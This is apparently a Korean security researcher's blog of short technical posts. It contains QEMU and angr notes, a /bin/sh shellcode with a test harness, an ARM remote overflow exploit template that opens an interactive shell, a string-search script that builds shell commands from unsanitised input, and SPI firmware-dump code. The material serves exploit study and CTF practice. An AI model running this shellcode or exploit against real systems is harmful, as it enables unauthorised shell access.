2016. 10. 9. 09:55


디렉토리내 전체 파일을 얻어낸 뒤(압축까지 해제) 스트링을 검색하여 파일에 저장 

하드코딩된 스트링을 찾기위해서 막 만든거임.


import os

import sys

import base64


FILE_LIST=[]


tmpFile = "result.txt"

def USAGE():

print "python findStr.py [path] [string]"


def init():

if os.path.exists(tmpFile):

os.unlink(tmpFile)


def makeFileList( dirname ):

for (path,dir,files) in os.walk(dirname):

for filename in files :

ext = os.path.splitext(filename)[-1]

full_filename = path+"/"+filename

FILE_LIST.append(full_filename)

if ext.find("tar.gz") > -1 :

os.system("tar xvfz %s -C %s 1>/dev/null" % ( full_filename, path ))

elif ext.find("tar") > -1 :

pass;

os.system("tar xvf %s -C %s 1>/dev/null"  % ( full_filename, path ))

elif ext.find("zip") > -1 :

os.system("unzip %s -d %s 1>/dev/null" %( full_filename, path ))

else :

pass


def findStr():

fp = open(tmpFile,"a+")

cmd1 = "grep -rn %s %s -A 5 " % (sys.argv[2] ,sys.argv[1])

cmd2 = "grep -rn %s %s -A 5 " % (base64.encodestring(sys.argv[2]) ,sys.argv[1])

stdData1 = os.popen(cmd1).read()

stdData2 = os.popen(cmd1).read()

if len(stdData1) >= len(sys.argv[2]) :

fp.write(stdData1)

if len(stdData2) >= len(sys.argv[2]) :

fp.write(stdData2)

fp.close()


def main():

init()

if (len(sys.argv) < 2):

USAGE()

sys.exit(1)

makeFileList( sys.argv[1] )

findStr()


if __name__ == "__main__":

main() 


Posted by k1rha
2016. 8. 2. 22:02

mips big endian 바이너리를 qemu-system-mips 에뮬레이터에서 돌리려고 하면

헤더가 깨졌다는 에러와 함께 정상적으로 동작이 안하는 문제가 발생할 때가 있다.


이땐 qemu-mips를 활용하여 돌려야하는데, 이게 구버젼(Ubuntu 14.04 에서 apt-get 으로 받은 qemu-mips)에서는

정상적으로 동작을 하지 않는다. (무슨에러를 뱉었는데 기억이..) 


이는 ELF 헤더 구조체에 대한 선언이 qemu-mips에서 잘 안되어 있기 때문에 생기는 문제인데,

최신판에서는 패치가 되었다는 문구를 발견하였다. 


qemu-mips 를 git으로 땡겨받아서 직접 configure 와 make make install 을 하여 돌리면 


정상적으로 돌릴수 있다. 


Posted by k1rha
2016. 7. 27. 20:19

Ubuntu 14 환경에서 qemu 로 바이너리를 돌릴 때, 

Header section 의 문제로 인해 에러를 뱉을 때가 있다. 


qemu가 elf header 섹션 구조체를 인식할때 문제라는데,


qemu가 최신 버젼에서는 해결된 이슈이다.


apt-get qemu를 통해서는 최신판을 설치가 안되었으므로 아래 링크에서 직접 git으로 땡겨서 


./configure ./make ./sudo make install 해주어 최신판으로 설치한다.


http://wiki.qemu.org/Download 

Posted by k1rha
2016. 7. 10. 22:21


경로 : 
https://people.debian.org/~aurel32/qemu/mips/

[ 80 포트와 22 번호트 리다이렉션 ]

qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta_kernel.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -redir tcp:2222::22 -redir tcp:8080::80 --nographic


 


Posted by k1rha
2016. 5. 31. 16:05

╰─$ cat anger.py 

import angr

p = angr.Project('/mnt/shared/serial', load_options={'auto_load_libs':False})

ex = p.surveyors.Explorer(find=(0x400e5c, ), avoid=(0x400e78,))

ex.run()

print ex.found[0].state.posix.dumps(0)

print ex.found[0].state.posix.dumps(1) 

 


Posted by k1rha
2016. 5. 31. 08:55

socat TCP-LISTEN:포트,reuseaddr,fork EXEC:./바이너리

'System_Hacking' 카테고리의 다른 글

QEMU 명령어 옵션  (0) 2016.07.10
angr 기본 코드  (0) 2016.05.31
32bit linux shellcode (/bin/sh)  (0) 2016.05.17
[검색용][python] Remote exploit 할때 기본 포멧  (0) 2016.05.06
SPI 통신으로 firmware dump 뜨기  (0) 2016.02.21
Posted by k1rha
2016. 5. 17. 10:23

#gcc -o shellcode shellcode.c -m32 -z execstack


#include<string.h>

char shellcode[]="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80";

int main(){


int (*func)();

printf ("size : %d \n",strlen(shellcode));

func = shellcode;

func();


return 0;

}

 


Posted by k1rha
2016. 5. 6. 12:33

쓸때마다 손으로 치기 귀찮으니 생각난김에 저장. 


출처 : https://rotlogix.com/2016/05/03/arm-exploit-exercises/

import socket  
import sys  
import struct  
import telnetlib


def exploit():  
    try:
        # Connect to target
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('10.174.90.177', 6666))
        print("[*] Connecting to target (!)")
        # Build payload
        payload = 'A' * 72
        payload += struct.pack("<I", 0x76EE012C)
        payload += struct.pack("<I", 0x7efff7f3)
        payload += 'BBBB'
        payload += struct.pack("<I", 0x76EC2BC8)
        payload += 'CCCC'
        payload += 'DDDD'
        payload += 'EEEE'
        payload += 'FFFF'
        payload += struct.pack("<I", 0x76e9ffac)
        print("[*] Sending Payload (!)")
        # Send payload
        s.sendall(payload)
        # Interact with the shell
        t = telnetlib.Telnet()
        t.sock = s
        t.interact()
    except socket.errno:
        raise

if __name__ == '__main__':  
    try:
        exploit()
    except KeyboardInterrupt:
        sys.exit(0)

 


Posted by k1rha
2016. 4. 27. 21:56

 

https://github.com/smokedice/PyDBusTree/blob/master/DBusTree.py

 

 

 

https://georgemuraruc.wordpress.com/2015/07/16/d-bus-tutorial-for-python/

Posted by k1rha
2016. 2. 21. 22:09

/*

 *  MX25L6406Es

 *  2016 01 11

 *  È²Œº¿¬,ÀÌ»óŒ·

 */ 


#define F_CPU 16000000UL

#include <avr/io.h>

#include <string.h>

#include <util/delay.h>

#include <stdio.h>


#define SPI_DDR     DDRB

#define SPI_PORT    PORTB

#define SS          PB0

#define SCK         PB1

#define MOSI        PB2

#define MISO        PB3


void put_c(char data){

  

   while(!(UCSR0A & 0x20));

   UDR0 = data;

  

  

}

void Puts(char *data)

{

        int i;

        for(i=0; i<strlen(data); i++)

        {

                while(!(UCSR0A & 0x20));

                UDR0 = data[i];

        }

}


void SPI_init_master()

{

     SPI_PORT |= (1 << SS);

     SPI_DDR |= ((1 << SS) | (1 << SCK) | (1 << MOSI) | (1 << MISO));

     SPCR = 0x51; // 0x40 = 16MHz

}


void init_uart()

{

 // initializing UART

 UCSR0A = 0x00;  

 UCSR0B = 0x98;  

 UCSR0C = 0x06;  

 UBRR0H = 0;

 UBRR0L = 8;    // 115200


}

char SPI_IO(char data, int ins)

{

 

 SPDR = data; /* µ¥ÀÌÅÍžŠ ºž³»°í */


 while(!(SPSR & 0x80)); /* ŽÙ ºž³»Áú ¶§ ±îÁö ±âŽÙž®°í */

 data = SPDR; /* ¹ÞÀº µ¥ÀÌÅÍžŠ ÀúÀåÇÑŽÙ */


 if ( ins == 0 ){

  char str[80]={0,};  

  sprintf(str, "%02x", data);

  Puts(str);

 }

 return data;

}


int main(void)

{

 char str[80];

 unsigned long i, y;

 int cnt, one_byte, one_bit;


 // 1:CS  2:SI  3:SO  4:SCLK  5:WP  6:RESET  7:VCC(°øÀ¯±âÀÚÃŒ)  8:GND(ºžµåÀÚÃŒ)

 // A port žŠ Ãâ·Â¿ëÀž·Î ¿ëÀž·Î »ç¿ëÇÏ°ÚŽÙ¶ó°í ÁöÁ€

 DDRA = 0xFF;  // CS

 

 SPI_init_master(); 

 

 // INIT : CS goes high & clock low

 // œÇÁŠ·Î ÀüŸÐÀž·Î Á֎°͠

 PORTA = 0xFF;


 // INIT : UART INIT

 init_uart();

 

 Puts("delay start \r\n");

 _delay_ms(5000);

 Puts("delay end \r\n");

 // START !!

 

  

 // /CSÇÉ LOW change `

 PORTA = 0x00;

 

 Puts("Read ID  start!\r\n");

 /////////////////////////////////////////////////////////////////////////

  

 //TODO Read ID  // KT : 90H  == read ID   // return 8C  14   or   14  8C

 SPI_IO(0x90,1);


 SPI_IO(0x00,1);

 SPI_IO(0x00,1);

 SPI_IO(0x00,1);

 SPI_IO(0x00,0);

 SPI_IO(0x00,0);

 

 

 Puts("\r\nRead ID   finish\n");

 PORTA = 0xFF;

 

 Puts("########  end  ########");

 

 

 /////////////////////////////////////////////////////////////////////////

 Puts("\r\n Getting dump code start! \r\n");

 _delay_ms(5000);

 ////////////////////////////////////////////////////////////////////////

 // Read (33Mhz) 



 PORTA = 0x00;


 SPI_IO(0x03,1);

 SPI_IO(0x00,1);

 SPI_IO(0x00,1);

 SPI_IO(0x00,1);

  

 for ( i = 0; i < 640000000; i++){

  SPI_IO(0x00,0);

 }

 

 // /CSÇÉ HIGH change `

 PORTA = 0xFF;

 

 Puts("########  end  ########");

 while(1)

 {

  

  _delay_ms(10000);

 }

}


Posted by k1rha